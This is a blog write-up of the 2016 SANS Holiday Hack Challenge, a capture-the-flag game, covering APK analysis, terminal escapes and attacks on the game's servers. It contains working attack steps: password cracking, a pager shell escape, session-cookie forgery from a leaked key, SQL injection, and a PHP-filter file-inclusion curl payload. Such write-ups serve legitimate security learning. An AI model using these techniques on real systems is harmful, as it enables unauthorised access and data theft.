Skip navigation

SANS Holiday Hack Challenge Write-Up

Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.

I always enjoy participating in the Holiday Hack Challenges, and have written about my solutions in the past. The challenges have been very polished, and this year is no exception.

I first want to extend thanks to Ed Skoudis and the SANS team for always putting together a polished, fun challenge that never fails to teach something new.

This year’s contest consisted of 5 parts, each with their own challenges. I’ve split up my write-up according to those parts.

Table of Contents

Part 1: A Most Curious Business Card

In the story for this challenge, Santa has been abducted and we need to rescue him. His business card is the only clue we have:

Santa Claus Business Card

Analyzing Santa’s Tweets

The first question asks us to find the secret message in Santa’s tweets. Looking at the Twitter profile from the business card, we find tweets that appear to contain random words:

Santa Claus Tweets

I wrote this Python script to download and store all the tweets from the Twitter feed to get a better understanding of what the tweets might mean:

import tweepy

consumer_key = ''
consumer_secret =''
access_token = ''
access_token_secret = ''

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)

api = tweepy.API(auth)

for status in tweepy.Cursor(
        api.user_timeline, id="santawclaus").items(400):
    print status.text

After the script runs, we are left with a list of tweets. Looking at the tweets in a text editor reveals the secret message “BUG BOUNTY” in ASCII art.

Finding the ZIP File

The next question asks to determine “what is inside the ZIP file distributed by Santa’s team”. Not having a ZIP file on hand, I investigated the Instagram account referenced on Santa’s business card.

This account contains a picture of a messy desk. Zooming into the picture gave the following clues:

An nmap report for

Nmap Report

2) A screenshot containing the filename “”

SantaGram Screenshot

Visiting shows a copy of the business card. However, requesting downloads a copy of a password protected .zip file.

The password to the .zip file is “bugbounty” - the secret message encoded in Santa’s tweets:

$ unzip
[] SantaGram_4.2.apk password:
  inflating: SantaGram_4.2.apk

This extracts an APK file for the social networking SantaGram application.

Part 2: Analyzing the APK

APK files are used to distribute Android applications. These are just .zip files containing the resources and code that make up the application.

It is possible to decompile the APK file into human readable source code, making analysis of the application much easier.

The first step is to use a tool called apktool to decode the contents of the APK. This extracts any resources and metadata into XML files. In addition to this, apktool disassembles the application into an intermediate “smali” representation.

We can decompile the application with apktool like this:

$ apktool d SantaGram_4.2.apk
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

The smali representation can be difficult to read. We can use tools like dex2jar and jd-gui to turn the APK into much more readable Java source code.

We’re asked what username and password are buried in the APK. We can do a simple grep -R “password” . to find files that reference a password. This points us to two files: and

$ grep -R "password" .
./            jsonobject.put("password", "busyreindeer78");
./            jsonobject.put("password", "busyreindeer78");

Opening up these files in a text editor reveals the credentials “guest:busyreindeer78”:

jsonobject.put("username", "guest");
jsonobject.put("password", "busyreindeer78");

These credentials are used to post JSON analytics data to a URL, but we’ll focus on exploiting that service later.

Next, we’re asked to find the name of an audio file in the APK. Doing a simple find through our resources reveals the name of an MP3 file:

$ find . -name *.mp3 -exec ls {} \;

We’ll come back to the APK later, but first we have to analyze another system - the “Cranberry Pi”.

Cracking the Cranberry Pi

There are password protected doors in the game that lead to more clues about Santa’s location. The passwords for these doors are found by exploiting terminals located next to each door. To interact with the terminals, we need to search the game map for pieces of the “Cranberry Pi” a Raspberry Pi with a specialized Linux distribution loaded onto it.

Since this write-up is about the technical aspects of the challenge, we’ll skip the discussion on collecting the pieces. After we’ve collected all the pieces, we are given a link to download a “Cranbian” image at

This .zip file contains an image of a Cranberry Pi. We can mount this filesystem using the same technique outlined in this SANS blog post.

$ fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2      137216 2713599 2576384  1.2G 83 Linux

$ mount -v -o offset=$((512*137216)) -t ext4 cranbian-jessie.img /mnt/sans/

Mounting the filesystem gives this file tree.

We’re asked to find the password for the “cranpi” user. We can crack the password using the popular rockyou.txt wordlist like this:

$ unshadow /mnt/sans/etc/passwd /mnt/sans/etc/shadow > sans_passwd
$ john --wordlist=rockyou.txt sans_passwd

This reveals the password “yummycookies”, which allows us to access the terminals.

Part 3: Attacking the Terminals

Terminal 1: PCAP Extraction

The first terminal we encounter tells us the passphrase is located inside the file /out.pcap.

Out Passphrase

The file /out.pcap is owned by the itchy user, and we’re logged in as scratchy.

-r--------   1 itchy itchy 1.1M Dec  2 15:05 out.pcap

Fortunately, our sudoer permissions come in handy:

scratchy@718dd6fdd7d2:~$ sudo -l
sudo: unable to resolve host 718dd6fdd7d2
Matching Defaults entries for scratchy on 718dd6fdd7d2:
    env_reset, mail_badpass,
User scratchy may run the following commands on 718dd6fdd7d2:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

This tells us that we can run /usr/sbin/tcpdump and /usr/bin/strings as the itchy user by doing something like:

sudo -u itchy /usr/sbin/tcpdump -r /out.pcap

We’re told the passphrase is two parts. Dumping the pcap as ascii (-A), I found this HTTP request:

GET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Content-type: text/html
Content-Length: 113
Last-Modified: Fri, 02 Dec 2016 11:25:35 GMT
<input type="hidden" name="part1" value="santasli" />

So the first part is “santasli”.

Admittedly, I had quite a bit of trouble with the second half. I could tell there was an HTTP request for /secondhalf.bin which returned what appeared to be a random blob of data.

After trying different pcap carving techniques with no luck, someone recommended not to overthink the challenge, and read the man pages thoroughly.

The man page for the strings command shows that there is a flag for different encoding. Trying the flag for 16-bit little-endian character encoding revealed the second half of the passphrase:

$ sudo -u itchy /usr/bin/strings -e l /out.pcap

Terminal 2: The Wumpus

Our second terminal tells us the passphrase is given after we beat “the wumpus”:

The Wumpus

There’s an x64 binary in our home directory called wumpus. Executing it starts a game. We can either play the game or cheat.

Cheating it is.

I first wanted a local copy of the binary for debugging. I used base64 to encode the binary and then copy/pasted the contents into my own terminal. I could then decode the content to get a clone of the original binary.

Disassembling the game in gdb shows these functions:

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000400d26  main
0x000000000040111e  display_room_stats
0x00000000004012a8  take_action
0x0000000000401383  move_to
0x0000000000401740  shoot
0x0000000000401af3  gcd
0x0000000000401b27  cave_init
0x0000000000401eae  to_upper
0x0000000000401f1a  clear_things_in_cave
0x0000000000401fb3  initialize_things_in_cave
0x00000000004021a4  getans
0x0000000000402238  bats_nearby
0x00000000004022b6  pit_nearby
0x0000000000402334  wump_nearby
0x000000000040241c  move_wump
0x0000000000402476  int_compare
---Type <return> to continue, or q <return> to quit---
0x00000000004024a0  instructions
0x0000000000402607  usage
0x0000000000402633  wump_kill
0x0000000000402644  kill_wump
0x0000000000402866  no_arrows
0x0000000000402877  shoot_self
0x0000000000402888  jump
0x00000000004028aa  pit_kill
0x00000000004028bb  pit_survive
0x00000000004028d0  __libc_csu_init
0x0000000000402940  __libc_csu_fini
0x0000000000402944  _fini

The function kill_wump immediately sticks out. Starting the program and using gdb to jump to the address of the kill_wump function beats the game and gives the passphrase.

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/wumpus
Instructions? (y-n) ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0cba0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81  ../sysdeps/unix/syscall-template.S: No such file or directory.

(gdb) jump *0x0000000000402644
Continuing at 0x402644.
*thwock!* *groan* *crash*

A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!


Terminal 3: Hidden Directories

The next terminal asked us to find the passphrase file buried in directories:


I first used the command ls -alR to recursively list the contents of each directory. This showed that there was a file, key_for_the_door.txt, which was hidden under multiple directories named with special characters designed to make it difficult to traverse.

Instead of manually trying to traverse the directories, I solved the challenge using find:

elf@4978b123e95c:~$ find . -name key_for_the_door.txt -exec cat {} \;
key: open_sesame

That key opened the door, which led to a room with a Wargames emulator. Using the dialog taken from youtube clips and other references, we can get all the way to launching a strike, which gives a key: LOOK AT THE PRETTY LIGHTS

Terminal 4 - Train Station

This terminal at the train station presented a train management interface:

Train Management Interface

Running the HELP command displays a help file containing a hint mentioning the use of “less”.

menu:main> HELP
**HELP** brings you to this file.  If it's not here, this console cannot do it, unLESS you know something I don't.

This article gives helpful tips on how to escape pagers like less and more. Since this help file itself is using less, we can use the simple shell escape :?!/bin/sh to drop into a shell.

In the shell, we can run the “ActivateTrain” script and see an animation that takes us back in time to 1978.

sh-4.3$ ls
ActivateTrain  TrainHelper.txt  Train_Console
sh-4.3$ ./ActivateTrain

Activate Train

After we travel back in time, we find Santa in the same room that was protected by the Wumpus terminal.

Santa Captured

It’s great that we found Santa, but we still don’t know who captured him in the first place. For the last part of the challenge, we’ll exploit multiple North Pole services to collect clues and discover who captured Santa.

Part 4: The North Pole Bug Bounty

We found the first MP3 file in the APK we analyzed in Part 2. This APK also contains a resource file that discloses the following URLs: : : : : : :

After confirming with the game’s “oracle” that each of these IP addresses are in scope, we can start hacking.

Mobile Analytics Server

Credentialed Access

Hitting the main URL takes us to a login page. We can log in with the credentials we pulled from the APK in Part 2 (guest:busyreindeer78) to get access:

Sprusage Login Query Page

Clicking the “MP3” link downloads the second audio file.

After doing some testing, I decided to fall back to square one and nmap the host. I recalled a hint from one of the elves mentioning to look for hidden files so I ran nmap with the --script http-enum flag to check for common files and folders.

This gave the following output:

22/tcp  open  ssh
443/tcp open  https
| http-enum:
|   /login.php: Possible admin folder
|_  /.git/HEAD: Git folder

Leaving a Git repository exposed is a classic mistake. We can use the steps outlined here to clone the repo.

Downloading the contents of the folder and running git status shows files that are staged to be deleted:

root@sans:~/sans/analytics# git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

    deleted:    crypto.php
    deleted:    db.php
    deleted:    edit.php
    deleted:    login.php
    deleted:    logout.php
    deleted:    mp3.php
    deleted:    query.php
    deleted:    report.php
    deleted:    sprusage.sql
    deleted:    test/Gemfile
    deleted:    test/Gemfile.lock
    deleted:    test/test_client.rb
    deleted:    this_is_html.php
    deleted:    this_is_json.php
    deleted:    uuid.php
    deleted:    view.php

Resetting our current working directory restores the files:

root@sans:~/sans/analytics# git checkout -- .
root@sans:~/sans/analytics# ls
crypto.php  db.php    fonts       getaudio.php  index.php  login.php   mp3.php   sprusage.sql  this_is_html.php  uuid.php
css         edit.php  footer.php  header.php    js         logout.php  query.php  report.php  test          this_is_json.php  view.php

The contents of the PHP files show a web app that lets users create and save reports.

Access control in the application is done through a function called restrict_page_to_users. This function checks to make sure a username was provided and, if so, calls the function check_access to make sure the username is allowed to visit the page.

Here’s the check_access function:

  function check_access($db, $username, $users) {
    # Allow administrator to access any page
    if($username == 'administrator') {

    if(!in_array($username, $users)) {
      reply(403, 'Access denied!');

So, if we can somehow login as the administrator user, we’ll have access to every page.

Remember: Our goal is to get the MP3 files for later steps, which is why we want admin access.

Admin Access #1 Forging Cookies

Logging in to the web application is handled the usual way - send a username/password, it’s checked against the database and, if all looks good, a session cookie is set. The SQL access looks fine, so we need to break the cookie generation.

The session cookie is created as follows (from login.php):

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),

    setcookie('AUTH', bin2hex($auth));

This creates a cookie using a custom encrypt routine in crypto.php. The encrypt function uses PHP’s mcrypt implementation to encrypt the username and current date. However, the encryption key is left in the code.

define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");  

function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');

This means that we can craft our cookies that will be accepted by the web application. Here’s some sample code:


define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
echo bin2hex(encrypt(json_encode([
   'username' => "administrator",
   'date' => date(DateTime::ISO8601),

After generating our cookie, we can use a cookie manager extension to add the cookie value.

Add Cookie Value

Refreshing the page results in admin access to the application.

Admin Access #2 Storing Credentials in Git

Accidentally committing credentials into a Git repo is harmful because it can be difficult to remove them.

Looking through the output of git log, we see commit d9636a3d648e617fcb92055dea63ac2469f67c84 which claims to give “small authentication fixes”. Comparing that commit with the commit before it reveals administrative credentials:

root@sans:~/sans/analytics/# git diff d9636a3d648e617fcb92055dea63ac2469f67c84 d9636a3d648e617fcb92055dea63ac2469f67c84^
diff --git a/sprusage.sql b/sprusage.sql
index cb262e4..c7254f8 100644
--- a/sprusage.sql
+++ b/sprusage.sql
@@ -37,7 +37,6 @@ CREATE TABLE `reports` (

+INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');

--- Dump completed on 2016-11-13 19:20:20
+-- Dump completed on 2016-11-13 19:17:27
diff --git a/test/test_client.rb b/test/test_client.rb
index 847cf97..ac67d4f 100644
--- a/test/test_client.rb
+++ b/test/test_client.rb
-    :username => ARGV[0],
-    :password => ARGV[1],
+    :username => 'administrator',
+    :password => 'KeepWatchingTheSkies',

Trying the credentials “administrator:KeepWatchingTheSkies” logs us in as admin.

Mobile Analytics Server - Post Authentication

There’s only one page that doesn’t allow access from the guest user: edit.php.

  # Don't allow anybody to access this page (yet!)
  restrict_page_to_users($db, []);

This page claims to not let anyone access it, but remember that check_access always allows access from the administrator.

This page lets us edit the attributes of a saved query. There didn’t appear to be any immediate vulnerabilities, since it appeared we could only update the name, id, or description:

Edit Attributes of Saved Query

However, let’s take a step back and see how queries are stored. In our schema, reports are structured like this:

CREATE TABLE `reports` (
  `id` varchar(36) NOT NULL,
  `name` varchar(64) NOT NULL,
  `description` text,
  `query` text NOT NULL,
  PRIMARY KEY (`id`)

Wait - what’s “query”? That’s the SQL query that’s actually run when we view our report. We can verify that in query.php:

$result = mysqli_query($db, "INSERT INTO `reports`
    (`id`, `name`, `description`, `query`)
    ('$id', '$name', '$description', '" . mysqli_real_escape_string($db, $query) . "')

Looking back at edit.php, we see that the code checks every attribute to see if we set it as a parameter in our request. If it’s set by us, it’s updated:

$set = [];
foreach($row as $name => $value) {
    print "Checking for " . htmlentities($name) . "...<br>";
    if(isset($_GET[$name])) {
        print 'Yup!<br>';
        $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'";

This includes the report’s query field.

This means that we can create a report, grab the ID, and use the edit.php script to set the report query to an arbitrary SQL query which is then run when we view the report. By using backticks, we can bypass the call to mysqli_real_escape_string.

For example, this sets the query to dump out all the MP3 file information:*%20FROM%20`audio`

Viewing that report shows the results:

Query UUID

Ok, we have the id of the mp3, now we need the actual file. Unfortunately, getaudio.php has a hard check to make sure only the guest user can download MP3’s by id.

To get around this, we’ll change our query to ``SELECT username, filename, TO_BASE64(mp3) FROM `audio``` and we can grab the MP3.

Dungeon Game

During the course of the game, we were given a .zip file from one of the elves containing what appears to be a local copy of the “dungeon” game, as well as a data file in some odd format.

The URL is referenced in the APK resources, but there are no references to the URL in the application code itself.

Running an nmap scan on shows port 11111 open:

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 15:fb:7c:8a:bc:b6:bb:e7:87:77:65:5c:47:31:a6:cd (DSA)
|   2048 0a:23:40:36:ad:21:e5:78:a5:4a:b6:cd:7e:b9:12:e2 (RSA)
|_  256 88:ad:73:c4:8e:c3:10:38:32:fe:98:f4:80:6a:de:38 (ECDSA)
80/tcp    open  http    nginx 1.6.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.6.2
|_http-title: About Dungeon
11111/tcp open  vce?

Connecting to this port starts a remote instance of the dungeon game.

root@sans:~/sans# nc 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.

We can play the game fairly or we might be able to cheat.

Cheating it is.

We’ll start by analyzing the local version for any vulnerabilities we can use to beat the remote version.

Running the dungeon binary in gdb and disassembling the main function.

It looks like main is responsible for setting up some game state, and then calling the game_ function. Disassembling that gives quite a bit of information. I’ve snipped some of it out, but you can find the relevant pieces here.

One thing that sticks out is a string comparison after the user’s command is read:

   0x0000000000404996 <+101>:   mov    esi,0x419a34
   0x000000000040499b <+106>:   mov    rdi,rax
   0x000000000040499e <+109>:   call   0x400d00 <strcmp@plt>
   0x00000000004049a3 <+114>:   test   eax,eax
   0x00000000004049a5 <+116>:   jne    0x4049ae <game_+125>
   0x00000000004049a7 <+118>:   call   0x40a1df <gdt_>

After we submit a command, it’s checked against a string stored at 0x419a34. To figure out what that string is, we can run the gdb command x/s 0x419a34:

(gdb) x/s 0x419a34
0x419a34:   "GDT"

If our action in the game is “GDT”, something special happens. Trying it out, we’re dropped into what appears to be a debug shell:

Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take

It’s likely that we could use the debug menu to take the treasures and put them in the room, beating the game that way. But, I figured that when the game is beaten, we’d likely see text telling us where to get the next MP3.

There’s a command listed, DT, that dumps out a text string in the game. It asks for which text string (a number) you want to receive. Doing a quick binary search shows the final string is at index 1028. Backing up a few steps through trial and error and dumping the string 1024 gives this response:

Entry:    1024
The elf, satisified with the trade says -
Try the online version for the true prize

Moving to the online version of the game and doing the same steps gives us the final result:

Entry:    1024
The elf, satisified with the trade says -
send email to "" for that which you seek.

Sending an email to the address returns the MP3.

Email With MP3

Debug Server

The URL is referenced only once in the APK - in the EditProfile page. To use the endpoint in the app, a remote debugging flag has to be set.

The app sends 4 variables to the server:

bundle.put("date", (new SimpleDateFormat("yyyyMMddHHmmssZ")).format(Calendar.getInstance().getTime()));
bundle.put("udid", android.provider.Settings.Secure.getString(getContentResolver(), "android_id"));
bundle.put("debug", (new StringBuilder()).append(getClass().getCanonicalName()).append(", ").append(getClass().getSimpleName()).toString());
bundle.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());

After some trial and error, it looks like the important thing is that the “debug” parameter is properly set. The Java code setting it resolves to "com.northpolewonderland.santagram.EditProfile, EditProfile". If we have that set correctly, we can put arbitrary input for the other parameters and get this output:

{"date":"20161217185543","status":"OK","filename":"debug-20161217185543-0.txt","request":{"date":"20161212112233","udid":"1","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"test","verbose":false}}

Requesting the file returned in the “filename” attribute returns the original data we sent.

One thing I notice is that mixed in with the output we receive is a variable called “verbose”. This variable isn’t in the APK, but let’s try setting that to “true”:

curl -XPOST -H "Content-Type: application/json" -d '{"date" : "20161212112233", "udid" : "1", "debug" : "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem" : "", "verbose" : true}'

We get the following output, which looks to include a listing of all the files in the directory:

      "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",

We can browse to the MP3 path returned and retrieve the file.

Banner Ad Server

The site at is a web application written using Meteor:

Web Application

Not being familiar with the framework, this blog post came in handy.

Installing TamperMonkey and Meteor Miner revealed the following routes:


Visiting the /admin/quotes page, we are told there are 5 records returned in the HomeQuotes collection, and that one of these records has an additional “audio” field.

We can dump the records by running the command HomeQuotes.find().fetch() in the Chrome devtools console. The record that stands out is:

This record contains an audio attribute revealing the path to the MP3 we’re looking for.

Uncaught Exception Handler Server

The URL is used in a couple of places in the APK to write crash dumps in case of application errors. Looking through the decompiled Java code, we have to supply an “operation” and a “data” parameter to have our request accepted as valid JSON. Setting these to arbitrary values returns a sample response like this:

    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-cplJXU.php"

The operation specified in the source code is “WriteCrashDump”. If I change that to “ReadCrashDump”, I get this error:

Fatal error! JSON key 'data' must be set.

Setting a data key returns this error:

Fatal error! JSON key 'crashdump' must be set.

Looks like it will try to load the crashdump file specified in the data field. Trying “crashdump-cplJXU” returned the data that I sent in my initial request.

This is almost certainly an LFI vulnerability. Unfortunately, we can’t specify filenames directly since they have the “.php” extension appended which causes them to be processed by the server.

We can use PHP filters to get around this and dump out the source code of PHP pages, as described in this article.

This is the curl command to get the source code of the exception.php file:

curl -XPOST -H "Content-Type: application/json" -d '{ "operation" : "ReadCrashDump", "data" : { "crashdump" : "php://filter/convert.base64-encode/resource=../exception" } }'

Sending this to base64 -d returns the PHP source.

The source tells us that the MP3 is in the webroot, so we can just grab it:

$ wget
--2016-12-17 12:39:34--
Connecting to||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 223244 (218K) [audio/mpeg]
Saving to: 'discombobulated-audio-6-XyzE3N9YqKNH.mp3'

discombobulated-audio-6-XyzE3N9YqKNH.mp3           100%[================================================================================================================>] 218.01K   353KB/s    in 0.6s

2016-12-17 12:39:38 (353 KB/s) - 'discombobulated-audio-6-XyzE3N9YqKNH.mp3' saved [223244/223244]

Part 5: Finding Santa’s Captor

After we gathered all 7 MP3 samples, we can reassemble them to find Santa’s captor. Listening to the samples, it seemed as though they had been slowed down.

Importing all the audio samples into Audacity, aligning them end-to-end, and increasing the tempo revealed the phrase:

Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

Using this as the passphrase to the last door reveals that Santa’s captor was Dr. Who.

Dr. Who


The team at SANS really outdid themselves with this year’s Holiday Hack challenge. The tasks were approachable while still presenting a challenge, and the entire game was polished.

Events like this Holiday Hack challenge as well as CTF’s that are held throughout the year are a great way to sharpen skills and learn something new. I highly recommend not only participating in challenges like this, but also reading how other people solved the same challenges, because they may have solved them in completely different ways.

I’m already looking forward to next year’s challenge!

Tagged: sans

Jordan Wright

Research & Development Engineer


Jordan Wright is an R&D Engineer at Duo Security as a part of the Duo Labs team. He has experience on both the offensive and defensive side of infosec. He enjoys contributing to open-source software and performing security research.